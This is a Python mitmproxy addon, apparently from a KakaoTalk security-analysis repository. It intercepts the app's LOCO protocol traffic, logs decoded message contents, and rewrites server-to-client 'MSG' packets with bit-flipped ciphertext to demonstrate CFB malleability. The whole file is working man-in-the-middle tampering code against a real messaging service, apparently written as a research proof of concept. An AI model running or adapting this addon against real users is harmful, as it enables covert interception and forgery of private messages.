mirror of
https://github.com/stulle123/kakaotalk_analysis.git
synced 2025-05-06 19:46:24 +00:00
62 lines
2.0 KiB
Python
62 lines
2.0 KiB
Python
import logging
|
|
|
|
from lib.loco_parser import LocoParser
|
|
from mitmproxy import connection, tcp, tls
|
|
from mitmproxy.utils import human, strutils
|
|
|
|
|
|
class LocoMitmBase:
|
|
def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None:
|
|
self.parser = LocoParser()
|
|
self.rsa_key_pair = rsa_key_pair
|
|
self.recipient_user_id = 0
|
|
self.recipient_public_key = b""
|
|
self.shared_secret = b""
|
|
self.master_secret = master_secret
|
|
self.e2e_encryption_key = test_key
|
|
|
|
@staticmethod
|
|
def get_addr(server: connection.Server):
|
|
return server.peername or server.address
|
|
|
|
def tls_clienthello(self, data: tls.ClientHelloData):
|
|
server_address = self.get_addr(data.context.server)
|
|
logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
|
|
data.ignore_connection = True
|
|
|
|
|
|
class FlipCiphertextBits(LocoMitmBase):
|
|
def __init__(self, trigger_msg) -> None:
|
|
self.parser = LocoParser()
|
|
self.trigger_msg = trigger_msg
|
|
|
|
def tcp_message(self, flow: tcp.TCPFlow):
|
|
message = flow.messages[-1]
|
|
flipped_packet = b""
|
|
self.parser.parse(message.content)
|
|
|
|
if self.parser.loco_packet:
|
|
logging.info(
|
|
"from_client=%s, content=%s",
|
|
message.from_client,
|
|
self.parser.loco_packet.get_packet_as_dict(),
|
|
)
|
|
else:
|
|
logging.warning(
|
|
"from_client=%s, raw packet bytes=%s",
|
|
message.from_client,
|
|
strutils.bytes_to_escaped_str(message.content),
|
|
)
|
|
|
|
return
|
|
|
|
# Flip ciphertext bits to show CFB malleability
|
|
if not message.from_client and self.parser.loco_packet.loco_command == "MSG":
|
|
flipped_packet = self.parser.flip_bits(self.trigger_msg)
|
|
|
|
if flipped_packet:
|
|
message.content = flipped_packet
|
|
|
|
|
|
addons = [FlipCiphertextBits(trigger_msg="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")]
|